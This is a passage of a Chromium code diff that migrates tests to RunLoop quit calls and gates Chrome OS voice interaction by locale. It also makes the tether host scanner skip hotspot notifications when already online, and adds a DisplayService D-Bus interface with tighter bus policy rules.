 TEST_F(DemuxerStreamAdapterTest, NoDelay) {
diff --git a/chromecast/media/cma/base/multi_demuxer_stream_adapter_unittest.cc b/chromecast/media/cma/base/multi_demuxer_stream_adapter_unittest.cc
index 971d26fe..21fe8d7 100644
--- a/chromecast/media/cma/base/multi_demuxer_stream_adapter_unittest.cc
+++ b/chromecast/media/cma/base/multi_demuxer_stream_adapter_unittest.cc
@@ -141,7 +141,7 @@
   ASSERT_GE(running_stream_count_, 0);
   if (running_stream_count_ == 0) {
     ASSERT_EQ(frame_received_count_, total_expected_frames_);
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 }
 
diff --git a/chromecast/media/cma/pipeline/audio_video_pipeline_impl_unittest.cc b/chromecast/media/cma/pipeline/audio_video_pipeline_impl_unittest.cc
index 597052a..59e34477 100644
--- a/chromecast/media/cma/pipeline/audio_video_pipeline_impl_unittest.cc
+++ b/chromecast/media/cma/pipeline/audio_video_pipeline_impl_unittest.cc
@@ -198,7 +198,7 @@
   }
   void Stop() {
     media_pipeline_.reset();
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
   void SetCdmLicenseInstalled() { cdm_context_->SetLicenseInstalled(); }
 
diff --git a/chromeos/BUILD.gn b/chromeos/BUILD.gn
index a3b4353cc..6d58162 100644
--- a/chromeos/BUILD.gn
+++ b/chromeos/BUILD.gn
@@ -491,6 +491,7 @@
 
 copy("dbus_service_files") {
   sources = [
+    "dbus/services/org.chromium.DisplayService.conf",
     "dbus/services/org.chromium.KioskAppService.conf",
     "dbus/services/org.chromium.LibCrosService.conf",
     "dbus/services/org.chromium.LivenessService.conf",
diff --git a/chromeos/chromeos_switches.cc b/chromeos/chromeos_switches.cc
index a86dfcc7..85d151d 100644
--- a/chromeos/chromeos_switches.cc
+++ b/chromeos/chromeos_switches.cc
@@ -9,6 +9,7 @@
 #include "base/command_line.h"
 #include "base/feature_list.h"
 #include "base/metrics/field_trial.h"
+#include "third_party/icu/source/common/unicode/locid.h"
 
 namespace chromeos {
 namespace switches {
@@ -511,6 +512,9 @@
 // Forces use of Chrome OS Gaia API v1.
 const char kCrosGaiaApiV1[] = "cros-gaia-api-v1";
 
+// List of locales supported by voice interaction.
+const char kVoiceInteractionLocales[] = "voice-interaction-supported-locales";
+
 bool WakeOnWifiEnabled() {
   return !base::CommandLine::ForCurrentProcess()->HasSwitch(kDisableWakeOnWifi);
 }
@@ -571,8 +575,21 @@
 }
 
 bool IsVoiceInteractionEnabled() {
-  return base::CommandLine::ForCurrentProcess()->HasSwitch(
-             kEnableVoiceInteraction) ||
+  // TODO(updowndota): Add DCHECK here to make sure the value never changes
+  // after all the use case for this method has been moved into user session.
+
+  // Disable voice interaction for non-supported locales.
+  base::CommandLine* command_line = base::CommandLine::ForCurrentProcess();
+  std::string locale = icu::Locale::getDefault().getName();
+  if (locale != ULOC_US &&
+      command_line
+              ->GetSwitchValueASCII(
+                  chromeos::switches::kVoiceInteractionLocales)
+              .find(locale) == std::string::npos) {
+    return false;
+  }
+
+  return command_line->HasSwitch(kEnableVoiceInteraction) ||
          base::FeatureList::IsEnabled(kVoiceInteractionFeature);
 }
 
diff --git a/chromeos/chromeos_switches.h b/chromeos/chromeos_switches.h
index b8b86f1..7987dd99 100644
--- a/chromeos/chromeos_switches.h
+++ b/chromeos/chromeos_switches.h
@@ -146,6 +146,7 @@
 CHROMEOS_EXPORT extern const char kForceSystemCompositorMode[];
 CHROMEOS_EXPORT extern const char kTestEncryptionMigrationUI[];
 CHROMEOS_EXPORT extern const char kCrosGaiaApiV1[];
+CHROMEOS_EXPORT extern const char kVoiceInteractionLocales[];
 
 // Returns true if the system should wake in response to wifi traffic.
 CHROMEOS_EXPORT bool WakeOnWifiEnabled();
diff --git a/chromeos/components/tether/host_scan_scheduler_unittest.cc b/chromeos/components/tether/host_scan_scheduler_unittest.cc
index 72612c1f..2a824b9 100644
--- a/chromeos/components/tether/host_scan_scheduler_unittest.cc
+++ b/chromeos/components/tether/host_scan_scheduler_unittest.cc
@@ -36,6 +36,7 @@
                     nullptr,
                     nullptr,
                     nullptr,
+                    nullptr,
                     nullptr),
         num_scans_started_(0) {}
   ~FakeHostScanner() override {}
diff --git a/chromeos/components/tether/host_scanner.cc b/chromeos/components/tether/host_scanner.cc
index 21ac7f1f..b4736dae 100644
--- a/chromeos/components/tether/host_scanner.cc
+++ b/chromeos/components/tether/host_scanner.cc
@@ -21,6 +21,7 @@
 namespace tether {
 
 HostScanner::HostScanner(
+    NetworkStateHandler* network_state_handler,
     TetherHostFetcher* tether_host_fetcher,
     BleConnectionManager* connection_manager,
     HostScanDevicePrioritizer* host_scan_device_prioritizer,
@@ -29,7 +30,8 @@
     DeviceIdTetherNetworkGuidMap* device_id_tether_network_guid_map,
     HostScanCache* host_scan_cache,
     base::Clock* clock)
-    : tether_host_fetcher_(tether_host_fetcher),
+    : network_state_handler_(network_state_handler),
+      tether_host_fetcher_(tether_host_fetcher),
       connection_manager_(connection_manager),
       host_scan_device_prioritizer_(host_scan_device_prioritizer),
       tether_host_response_recorder_(tether_host_response_recorder),
@@ -80,20 +82,23 @@
     SetCacheEntry(scanned_device_info);
   }
 
-  if (scanned_device_list_so_far.size() == 1u) {
-    const cryptauth::RemoteDevice& remote_device =
-        scanned_device_list_so_far.at(0).remote_device;
-    int32_t signal_strength;
-    NormalizeDeviceStatus(scanned_device_list_so_far.at(0).device_status,
-                          nullptr /* carrier */,
-                          nullptr /* battery_percentage */, &signal_strength);
-    notification_presenter_->NotifyPotentialHotspotNearby(remote_device,
-                                                          signal_strength);
-  } else if (scanned_device_list_so_far.size() > 1u) {
-    // Note: If a single-device notification was previously displayed, calling
-    // NotifyMultiplePotentialHotspotsNearby() will reuse the existing
-    // notification.
-    notification_presenter_->NotifyMultiplePotentialHotspotsNearby();
+  if (!network_state_handler_->DefaultNetwork() &&
+      !scanned_device_list_so_far.empty()) {
+    if (scanned_device_list_so_far.size() == 1u) {
+      const cryptauth::RemoteDevice& remote_device =
+          scanned_device_list_so_far.at(0).remote_device;
+      int32_t signal_strength;
+      NormalizeDeviceStatus(scanned_device_list_so_far.at(0).device_status,
+                            nullptr /* carrier */,
+                            nullptr /* battery_percentage */, &signal_strength);
+      notification_presenter_->NotifyPotentialHotspotNearby(remote_device,
+                                                            signal_strength);
+    } else {
+      // Note: If a single-device notification was previously displayed, calling
+      // NotifyMultiplePotentialHotspotsNearby() will reuse the existing
+      // notification.
+      notification_presenter_->NotifyMultiplePotentialHotspotsNearby();
+    }
   }
 
   if (is_final_scan_result) {
diff --git a/chromeos/components/tether/host_scanner.h b/chromeos/components/tether/host_scanner.h
index 098c7fa..d9ca7760 100644
--- a/chromeos/components/tether/host_scanner.h
+++ b/chromeos/components/tether/host_scanner.h
@@ -42,7 +42,8 @@
     void virtual ScanFinished() = 0;
   };
 
-  HostScanner(TetherHostFetcher* tether_host_fetcher,
+  HostScanner(NetworkStateHandler* network_state_handler,
+              TetherHostFetcher* tether_host_fetcher,
               BleConnectionManager* connection_manager,
               HostScanDevicePrioritizer* host_scan_device_prioritizer,
               TetherHostResponseRecorder* tether_host_response_recorder,
@@ -89,6 +90,7 @@
       std::vector<HostScannerOperation::ScannedDeviceInfo>& final_scan_results);
   void RecordHostScanResult(HostScanResultEventType event_type);
 
+  NetworkStateHandler* network_state_handler_;
   TetherHostFetcher* tether_host_fetcher_;
   BleConnectionManager* connection_manager_;
   HostScanDevicePrioritizer* host_scan_device_prioritizer_;
diff --git a/chromeos/components/tether/host_scanner_unittest.cc b/chromeos/components/tether/host_scanner_unittest.cc
index 15e5bd0..d35b7fb 100644
--- a/chromeos/components/tether/host_scanner_unittest.cc
+++ b/chromeos/components/tether/host_scanner_unittest.cc
@@ -12,6 +12,7 @@
 #include "base/memory/ptr_util.h"
 #include "base/run_loop.h"
 #include "base/test/histogram_tester.h"
+#include "base/test/scoped_task_environment.h"
 #include "base/test/simple_test_clock.h"
 #include "base/time/time.h"
 #include "chromeos/components/tether/device_id_tether_network_guid_map.h"
@@ -25,8 +26,11 @@
 #include "chromeos/components/tether/mock_tether_host_response_recorder.h"
 #include "chromeos/components/tether/proto_test_util.h"
 #include "chromeos/dbus/dbus_thread_manager.h"
+#include "chromeos/dbus/fake_shill_service_client.h"
+#include "chromeos/network/network_state_test.h"
 #include "components/cryptauth/remote_device_test_util.h"
 #include "testing/gtest/include/gtest/gtest.h"
+#include "third_party/cros_system_api/dbus/shill/dbus-constants.h"
 
 namespace chromeos {
 
@@ -178,7 +182,7 @@
 
 }  // namespace
 
-class HostScannerTest : public testing::Test {
+class HostScannerTest : public NetworkStateTest {
  protected:
   HostScannerTest()
       : test_devices_(cryptauth::GenerateTestRemoteDevices(4)),
@@ -186,6 +190,10 @@
   }
 
   void SetUp() override {
+    DBusThreadManager::Initialize();
+    NetworkHandler::Initialize();
+    NetworkStateTest::SetUp();
+
     scanned_device_infos_from_current_scan_.clear();
 
     fake_tether_host_fetcher_ = base::MakeUnique<FakeTetherHostFetcher>(
@@ -209,7 +217,8 @@
     test_clock_ = base::MakeUnique<base::SimpleTestClock>();
 
     host_scanner_ = base::WrapUnique(new HostScanner(
-        fake_tether_host_fetcher_.get(), fake_ble_connection_manager_.get(),
+        network_state_handler(), fake_tether_host_fetcher_.get(),
+        fake_ble_connection_manager_.get(),
         fake_host_scan_device_prioritizer_.get(),
         mock_tether_host_response_recorder_.get(),
         fake_notification_presenter_.get(),
@@ -223,6 +232,10 @@
   void TearDown() override {
     host_scanner_->RemoveObserver(test_observer_.get());
     HostScannerOperation::Factory::SetInstanceForTesting(nullptr);
+
+    NetworkStateTest::TearDown();
+    NetworkHandler::Shutdown();
+    DBusThreadManager::Shutdown();
   }
 
   // Causes |fake_operation| to receive the scan result in
@@ -231,7 +244,8 @@
   void ReceiveScanResultAndVerifySuccess(
       FakeHostScannerOperation& fake_operation,
       size_t test_device_index,
-      bool is_final_scan_result) {
+      bool is_final_scan_result,
+      bool is_connected_to_internet) {
     bool already_in_list = false;
     for (auto& scanned_device_info : scanned_device_infos_from_current_scan_) {
       if (scanned_device_info.remote_device.GetDeviceId() ==
@@ -253,7 +267,11 @@
     EXPECT_EQ(previous_scan_finished_count + (is_final_scan_result ? 1 : 0),
               test_observer_->scan_finished_count());
 
-    if (scanned_device_infos_from_current_scan_.size() == 1) {
+    if (is_connected_to_internet) {
+      EXPECT_EQ(FakeNotificationPresenter::PotentialHotspotNotificationState::
+                    NO_HOTSPOT_NOTIFICATION_SHOWN,
+                fake_notification_presenter_->potential_hotspot_state());
+    } else if (scanned_device_infos_from_current_scan_.size() == 1) {
       EXPECT_EQ(FakeNotificationPresenter::PotentialHotspotNotificationState::
                     SINGLE_HOTSPOT_NEARBY_SHOWN,
                 fake_notification_presenter_->potential_hotspot_state());
@@ -344,6 +362,19 @@
     scanned_device_infos_from_current_scan_.clear();
   }
 
+  void AddWifiNetwork() {
+    std::stringstream ss;
+    ss << "{"
+       << "  \"GUID\": \"wifiNetworkGuid\","
+       << "  \"Type\": \"" << shill::kTypeWifi << "\","
+       << "  \"State\": \"" << shill::kStateOnline << "\""
+       << "}";
+
+    ConfigureService(ss.str());
+  }
+
+  const base::test::ScopedTaskEnvironment scoped_task_environment_;
+
   const std::vector<cryptauth::RemoteDevice> test_devices_;
   const std::vector<HostScannerOperation::ScannedDeviceInfo>
       test_scanned_device_infos;
@@ -378,6 +409,41 @@
   DISALLOW_COPY_AND_ASSIGN(HostScannerTest);
 };
 
+TEST_F(HostScannerTest, TestScan_ConnectedToExistingNetwork) {
+  AddWifiNetwork();
+  EXPECT_TRUE(network_state_handler()->DefaultNetwork());
+
+  EXPECT_FALSE(host_scanner_->IsScanActive());
+  host_scanner_->StartScan();
+  EXPECT_TRUE(host_scanner_->IsScanActive());
+
+  fake_tether_host_fetcher_->InvokePendingCallbacks();
+  ASSERT_EQ(1u,
+            fake_host_scanner_operation_factory_->created_operations().size());
+  EXPECT_TRUE(host_scanner_->IsScanActive());
+
+  ReceiveScanResultAndVerifySuccess(
+      *fake_host_scanner_operation_factory_->created_operations()[0],
+      0u /* test_device_index */, false /* is_final_scan_result */,
+      true /* is_connected_to_internet */);
+  EXPECT_TRUE(host_scanner_->IsScanActive());
+  ReceiveScanResultAndVerifySuccess(
+      *fake_host_scanner_operation_factory_->created_operations()[0],
+      1u /* test_device_index */, false /* is_final_scan_result */,
+      true /* is_connected_to_internet */);
+  EXPECT_TRUE(host_scanner_->IsScanActive());
+  ReceiveScanResultAndVerifySuccess(
+      *fake_host_scanner_operation_factory_->created_operations()[0],
+      2u /* test_device_index */, false /* is_final_scan_result */,
+      true /* is_connected_to_internet */);
+  EXPECT_TRUE(host_scanner_->IsScanActive());
+  ReceiveScanResultAndVerifySuccess(
+      *fake_host_scanner_operation_factory_->created_operations()[0],
+      3u /* test_device_index */, true /* is_final_scan_result */,
+      true /* is_connected_to_internet */);
+  EXPECT_FALSE(host_scanner_->IsScanActive());
+}
+
 TEST_F(HostScannerTest, TestScan_ResultsFromAllDevices) {
   EXPECT_FALSE(host_scanner_->IsScanActive());
   host_scanner_->StartScan();
@@ -390,19 +456,23 @@
 
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[0],
-      0u /* test_device_index */, false /* is_final_scan_result */);
+      0u /* test_device_index */, false /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   EXPECT_TRUE(host_scanner_->IsScanActive());
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[0],
-      1u /* test_device_index */, false /* is_final_scan_result */);
+      1u /* test_device_index */, false /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   EXPECT_TRUE(host_scanner_->IsScanActive());
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[0],
-      2u /* test_device_index */, false /* is_final_scan_result */);
+      2u /* test_device_index */, false /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   EXPECT_TRUE(host_scanner_->IsScanActive());
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[0],
-      3u /* test_device_index */, true /* is_final_scan_result */);
+      3u /* test_device_index */, true /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   EXPECT_FALSE(host_scanner_->IsScanActive());
 }
 
@@ -441,11 +511,13 @@
   // Only receive updates from the 0th and 1st device.
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[0],
-      0u /* test_device_index */, false /* is_final_scan_result */);
+      0u /* test_device_index */, false /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   EXPECT_TRUE(host_scanner_->IsScanActive());
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[0],
-      1u /* test_device_index */, false /* is_final_scan_result */);
+      1u /* test_device_index */, false /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   EXPECT_TRUE(host_scanner_->IsScanActive());
 
   fake_host_scanner_operation_factory_->created_operations()[0]
@@ -485,7 +557,8 @@
   // Receive updates from the 0th device.
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[0],
-      0u /* test_device_index */, false /* is_final_scan_result */);
+      0u /* test_device_index */, false /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   EXPECT_TRUE(host_scanner_->IsScanActive());
 
   // Call StartScan again after a scan result has been received but before
@@ -521,15 +594,18 @@
   // Receive updates from devices 0-2.
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[0],
-      0u /* test_device_index */, false /* is_final_scan_result */);
+      0u /* test_device_index */, false /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   EXPECT_TRUE(host_scanner_->IsScanActive());
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[0],
-      1u /* test_device_index */, false /* is_final_scan_result */);
+      1u /* test_device_index */, false /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   EXPECT_TRUE(host_scanner_->IsScanActive());
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[0],
-      2u /* test_device_index */, false /* is_final_scan_result */);
+      2u /* test_device_index */, false /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   EXPECT_TRUE(host_scanner_->IsScanActive());
 
   // Finish the first scan.
@@ -559,14 +635,17 @@
   // device during this scan session.
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[1],
-      0u /* test_device_index */, false /* is_final_scan_result */);
+      0u /* test_device_index */, false /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   EXPECT_TRUE(host_scanner_->IsScanActive());
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[1],
-      2u /* test_device_index */, false /* is_final_scan_result */);
+      2u /* test_device_index */, false /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   ReceiveScanResultAndVerifySuccess(
       *fake_host_scanner_operation_factory_->created_operations()[1],
-      3u /* test_device_index */, false /* is_final_scan_result */);
+      3u /* test_device_index */, false /* is_final_scan_result */,
+      false /* is_connected_to_internet */);
   EXPECT_TRUE(host_scanner_->IsScanActive());
   VerifyScanResultsMatchCache();
 
diff --git a/chromeos/components/tether/initializer.cc b/chromeos/components/tether/initializer.cc
index 74ef9dd..741b042 100644
--- a/chromeos/components/tether/initializer.cc
+++ b/chromeos/components/tether/initializer.cc
@@ -218,10 +218,11 @@
       master_host_scan_cache_.get(), device_id_tether_network_guid_map_.get());
   clock_ = base::MakeUnique<base::DefaultClock>();
   host_scanner_ = base::MakeUnique<HostScanner>(
-      tether_host_fetcher_.get(), ble_connection_manager_.get(),
-      host_scan_device_prioritizer_.get(), tether_host_response_recorder_.get(),
-      notification_presenter_, device_id_tether_network_guid_map_.get(),
-      master_host_scan_cache_.get(), clock_.get());
+      network_state_handler_, tether_host_fetcher_.get(),
+      ble_connection_manager_.get(), host_scan_device_prioritizer_.get(),
+      tether_host_response_recorder_.get(), notification_presenter_,
+      device_id_tether_network_guid_map_.get(), master_host_scan_cache_.get(),
+      clock_.get());
   host_scan_scheduler_ = base::MakeUnique<HostScanScheduler>(
       network_state_handler_, host_scanner_.get());
   host_connection_metrics_logger_ =
diff --git a/chromeos/dbus/services/console_service_provider.cc b/chromeos/dbus/services/console_service_provider.cc
index 9a5fecd4..fd5d3956 100644
--- a/chromeos/dbus/services/console_service_provider.cc
+++ b/chromeos/dbus/services/console_service_provider.cc
@@ -25,23 +25,33 @@
 }  // namespace
 
 ConsoleServiceProvider::ConsoleServiceProvider(
-    std::unique_ptr<Delegate> delegate)
-    : delegate_(std::move(delegate)), weak_ptr_factory_(this) {}
+    const std::string& service_interface,
+    Delegate* delegate)
+    : service_interface_(service_interface),
+      delegate_(delegate),
+      weak_ptr_factory_(this) {}
 
 ConsoleServiceProvider::~ConsoleServiceProvider() {
 }
 
 void ConsoleServiceProvider::Start(
     scoped_refptr<dbus::ExportedObject> exported_object) {
+  // TODO(lannm): Remove this once methods are removed from LibCrosService.
+  bool use_libcros_methods = (service_interface_ == kLibCrosServiceInterface);
+
   exported_object->ExportMethod(
-      kLibCrosServiceInterface, kTakeDisplayOwnership,
+      service_interface_,
+      (use_libcros_methods ? kTakeDisplayOwnership
+                           : kDisplayServiceTakeOwnershipMethod),
       base::Bind(&ConsoleServiceProvider::TakeDisplayOwnership,
                  weak_ptr_factory_.GetWeakPtr()),
       base::Bind(&ConsoleServiceProvider::OnExported,
                  weak_ptr_factory_.GetWeakPtr()));
 
   exported_object->ExportMethod(
-      kLibCrosServiceInterface, kReleaseDisplayOwnership,
+      service_interface_,
+      (use_libcros_methods ? kReleaseDisplayOwnership
+                           : kDisplayServiceReleaseOwnershipMethod),
       base::Bind(&ConsoleServiceProvider::ReleaseDisplayOwnership,
                  weak_ptr_factory_.GetWeakPtr()),
       base::Bind(&ConsoleServiceProvider::OnExported,
diff --git a/chromeos/dbus/services/console_service_provider.h b/chromeos/dbus/services/console_service_provider.h
index 7a391ce7..9350b07 100644
--- a/chromeos/dbus/services/console_service_provider.h
+++ b/chromeos/dbus/services/console_service_provider.h
@@ -37,7 +37,9 @@
         const UpdateOwnershipCallback& callback) = 0;
   };
 
-  explicit ConsoleServiceProvider(std::unique_ptr<Delegate> delegate);
+  // The caller must ensure that |delegate| outlives this object.
+  ConsoleServiceProvider(const std::string& service_interface,
+                         Delegate* delegate);
   ~ConsoleServiceProvider() override;
 
   // CrosDBusService::ServiceProviderInterface overrides:
@@ -63,7 +65,15 @@
                   const std::string& method_name,
                   bool success);
 
-  std::unique_ptr<Delegate> delegate_;
+  // Name of the service interface to install ConsoleService on.
+  // TODO(lannm): Remove this once these methods are removed from
+  // LibCrosService.
+  const std::string service_interface_;
+
+  // TODO(lannm): Revert to a unique_ptr after this is removed from
+  // LibCrosService.
+  Delegate* delegate_;
+
   base::WeakPtrFactory<ConsoleServiceProvider> weak_ptr_factory_;
 
   DISALLOW_COPY_AND_ASSIGN(ConsoleServiceProvider);
diff --git a/chromeos/dbus/services/display_power_service_provider.cc b/chromeos/dbus/services/display_power_service_provider.cc
index d0f63ba..f5df9b7 100644
--- a/chromeos/dbus/services/display_power_service_provider.cc
+++ b/chromeos/dbus/services/display_power_service_provider.cc
@@ -23,23 +23,30 @@
 }  // namespace
 
 DisplayPowerServiceProvider::DisplayPowerServiceProvider(
+    const std::string& service_interface,
     std::unique_ptr<Delegate> delegate)
-    : delegate_(std::move(delegate)), weak_ptr_factory_(this) {}
+    : service_interface_(service_interface),
+      delegate_(std::move(delegate)),
+      weak_ptr_factory_(this) {}
 
 DisplayPowerServiceProvider::~DisplayPowerServiceProvider() {}
 
 void DisplayPowerServiceProvider::Start(
     scoped_refptr<dbus::ExportedObject> exported_object) {
+  // TODO(lannm): Remove this once methods are removed from LibCrosService.
+  bool use_libcros_methods = (service_interface_ == kLibCrosServiceInterface);
+
   exported_object->ExportMethod(
-      kLibCrosServiceInterface,
-      kSetDisplayPower,
+      service_interface_,
+      (use_libcros_methods ? kSetDisplayPower : kDisplayServiceSetPowerMethod),
       base::Bind(&DisplayPowerServiceProvider::SetDisplayPower,
                  weak_ptr_factory_.GetWeakPtr()),
       base::Bind(&DisplayPowerServiceProvider::OnExported,
                  weak_ptr_factory_.GetWeakPtr()));
   exported_object->ExportMethod(
-      kLibCrosServiceInterface,
-      kSetDisplaySoftwareDimming,
+      service_interface_,
+      (use_libcros_methods ? kSetDisplaySoftwareDimming
+                           : kDisplayServiceSetSoftwareDimmingMethod),
       base::Bind(&DisplayPowerServiceProvider::SetDisplaySoftwareDimming,
                  weak_ptr_factory_.GetWeakPtr()),
       base::Bind(&DisplayPowerServiceProvider::OnExported,
diff --git a/chromeos/dbus/services/display_power_service_provider.h b/chromeos/dbus/services/display_power_service_provider.h
index 4d42cfd4c..9c658a99 100644
--- a/chromeos/dbus/services/display_power_service_provider.h
+++ b/chromeos/dbus/services/display_power_service_provider.h
@@ -44,7 +44,8 @@
     virtual void SetDimming(bool dimmed) = 0;
   };
 
-  explicit DisplayPowerServiceProvider(std::unique_ptr<Delegate> delegate);
+  DisplayPowerServiceProvider(const std::string& service_interface,
+                              std::unique_ptr<Delegate> delegate);
   ~DisplayPowerServiceProvider() override;
 
   // CrosDBusService::ServiceProviderInterface overrides:
@@ -64,6 +65,11 @@
       dbus::MethodCall* method_call,
       dbus::ExportedObject::ResponseSender response_sender);
 
+  // Name of the service interface to install DisplayPowerService on.
+  // TODO(lannm): Remove this once these methods are removed from
+  // LibCrosService.
+  const std::string service_interface_;
+
   std::unique_ptr<Delegate> delegate_;
 
   // Keep this last so that all weak pointers will be invalidated at the
diff --git a/chromeos/dbus/services/org.chromium.DisplayService.conf b/chromeos/dbus/services/org.chromium.DisplayService.conf
new file mode 100644
index 0000000..1b69967
--- /dev/null
+++ b/chromeos/dbus/services/org.chromium.DisplayService.conf
@@ -0,0 +1,26 @@
+<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
+  "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
+<!--
+  Copyright (c) 2017 The Chromium Authors. All rights reserved.
+  Use of this source code is governed by a BSD-style license that can be
+  found in the LICENSE file.
+
+  This file will be installed at /etc/dbus-1/system.d on Chromium OS.
+-->
+<busconfig>
+  <policy user="chronos">
+    <allow own="org.chromium.DisplayService"/>
+  </policy>
+
+  <!-- powerd runs as power -->
+  <policy user="power">
+    <allow send_destination="org.chromium.DisplayService"
+           send_interface="org.chromium.DisplayServiceInterface"/>
+  </policy>
+
+  <!-- frecon runs as root -->
+  <policy user="root">
+    <allow send_destination="org.chromium.DisplayService"
+           send_interface="org.chromium.DisplayServiceInterface"/>
+  </policy>
+</busconfig>
diff --git a/chromeos/dbus/services/org.chromium.KioskAppService.conf b/chromeos/dbus/services/org.chromium.KioskAppService.conf
index fc976c07..f6aae79 100644
--- a/chromeos/dbus/services/org.chromium.KioskAppService.conf
+++ b/chromeos/dbus/services/org.chromium.KioskAppService.conf
@@ -17,6 +17,7 @@
     the auto launched kiosk app.
   -->
   <policy user="root">
-    <allow send_destination="org.chromium.KioskAppService"/>
+    <allow send_destination="org.chromium.KioskAppService"
+           send_interface="org.chromium.KioskAppServiceInterface"/>
   </policy>
 </busconfig>
diff --git a/chromeos/dbus/services/org.chromium.LibCrosService.conf b/chromeos/dbus/services/org.chromium.LibCrosService.conf
index b61c236..7c8698f3 100644
--- a/chromeos/dbus/services/org.chromium.LibCrosService.conf
+++ b/chromeos/dbus/services/org.chromium.LibCrosService.conf
@@ -10,23 +10,27 @@
 <busconfig>
   <policy user="chronos">
     <allow own="org.chromium.LibCrosService"/>
-    <allow receive_sender="org.chromium.LibCrosService"/>
+    <allow receive_sender="org.chromium.LibCrosService"
+           receive_interface="org.chromium.LibCrosServiceInterface"/>
     <allow send_destination="org.chromium.LibCrosService"/>
   </policy>
 
   <!-- bluez makes agent method calls to Chromium. -->
   <policy user="bluetooth">
-    <allow send_destination="org.chromium.LibCrosService"/>
+    <allow send_destination="org.chromium.LibCrosService"
+           send_interface="org.chromium.LibCrosServiceInterface"/>
   </policy>
 
   <!-- tlsdate needs to query proxy config. -->
   <policy user="tlsdate">
-    <allow send_destination="org.chromium.LibCrosService"/>
+    <allow send_destination="org.chromium.LibCrosService"
+           send_interface="org.chromium.LibCrosServiceInterface"/>
   </policy>
 
   <!-- powerd needs to change display power states. -->
   <policy user="power">
-    <allow send_destination="org.chromium.LibCrosService"/>
+    <allow send_destination="org.chromium.LibCrosService"
+           send_interface="org.chromium.LibCrosServiceInterface"/>
   </policy>
 
   <!--
@@ -34,6 +38,7 @@
     query required platform version for the auto launched kiosk app.
   -->
   <policy user="root">
-    <allow send_destination="org.chromium.LibCrosService"/>
+    <allow send_destination="org.chromium.LibCrosService"
+           send_interface="org.chromium.LibCrosServiceInterface"/>
   </policy>
 </busconfig>
diff --git a/chromeos/dbus/services/org.chromium.LivenessService.conf b/chromeos/dbus/services/org.chromium.LivenessService.conf
index c5f24d8..5708b8ce 100644
--- a/chromeos/dbus/services/org.chromium.LivenessService.conf
+++ b/chromeos/dbus/services/org.chromium.LivenessService.conf
@@ -13,6 +13,7 @@
   </policy>
 
   <policy user="root">
-    <allow send_destination="org.chromium.LivenessService"/>
+    <allow send_destination="org.chromium.LivenessService"
+           send_interface="org.chromium.LivenessServiceInterface"/>
   </policy>
 </busconfig>
diff --git a/chromeos/dbus/services/org.chromium.NetworkProxyService.conf b/chromeos/dbus/services/org.chromium.NetworkProxyService.conf
index 1db707d..228b075 100644
--- a/chromeos/dbus/services/org.chromium.NetworkProxyService.conf
+++ b/chromeos/dbus/services/org.chromium.NetworkProxyService.conf
@@ -10,6 +10,7 @@
     <allow own="org.chromium.NetworkProxyService"/>
   </policy>
   <policy context="default">
-    <allow send_destination="org.chromium.NetworkProxyService"/>
+    <allow send_destination="org.chromium.NetworkProxyService"
+           send_interface="org.chromium.NetworkProxyServiceInterface"/>
   </policy>
 </busconfig>
diff --git a/chromeos/dbus/services/service_provider_test_helper.cc b/chromeos/dbus/services/service_provider_test_helper.cc
index 27981ed..721e09f 100644
--- a/chromeos/dbus/services/service_provider_test_helper.cc
+++ b/chromeos/dbus/services/service_provider_test_helper.cc
@@ -159,7 +159,7 @@
     std::unique_ptr<dbus::Response> response) {
   *out_response = std::move(response);
   if (base::RunLoop::IsRunningOnCurrentThread())
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace chromeos
diff --git a/chromeos/login/auth/mock_auth_status_consumer.cc b/chromeos/login/auth/mock_auth_status_consumer.cc
index 1d8e14d..9989c6d8 100644
--- a/chromeos/login/auth/mock_auth_status_consumer.cc
+++ b/chromeos/login/auth/mock_auth_status_consumer.cc
@@ -4,7 +4,7 @@
 
 #include "chromeos/login/auth/mock_auth_status_consumer.h"
 
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "google_apis/gaia/gaia_auth_consumer.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
@@ -19,59 +19,59 @@
 // static
 void MockAuthStatusConsumer::OnRetailModeSuccessQuit(
     const UserContext& user_context) {
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // static
 void MockAuthStatusConsumer::OnRetailModeSuccessQuitAndFail(
     const UserContext& user_context) {
   ADD_FAILURE() << "Retail mode login should have failed!";
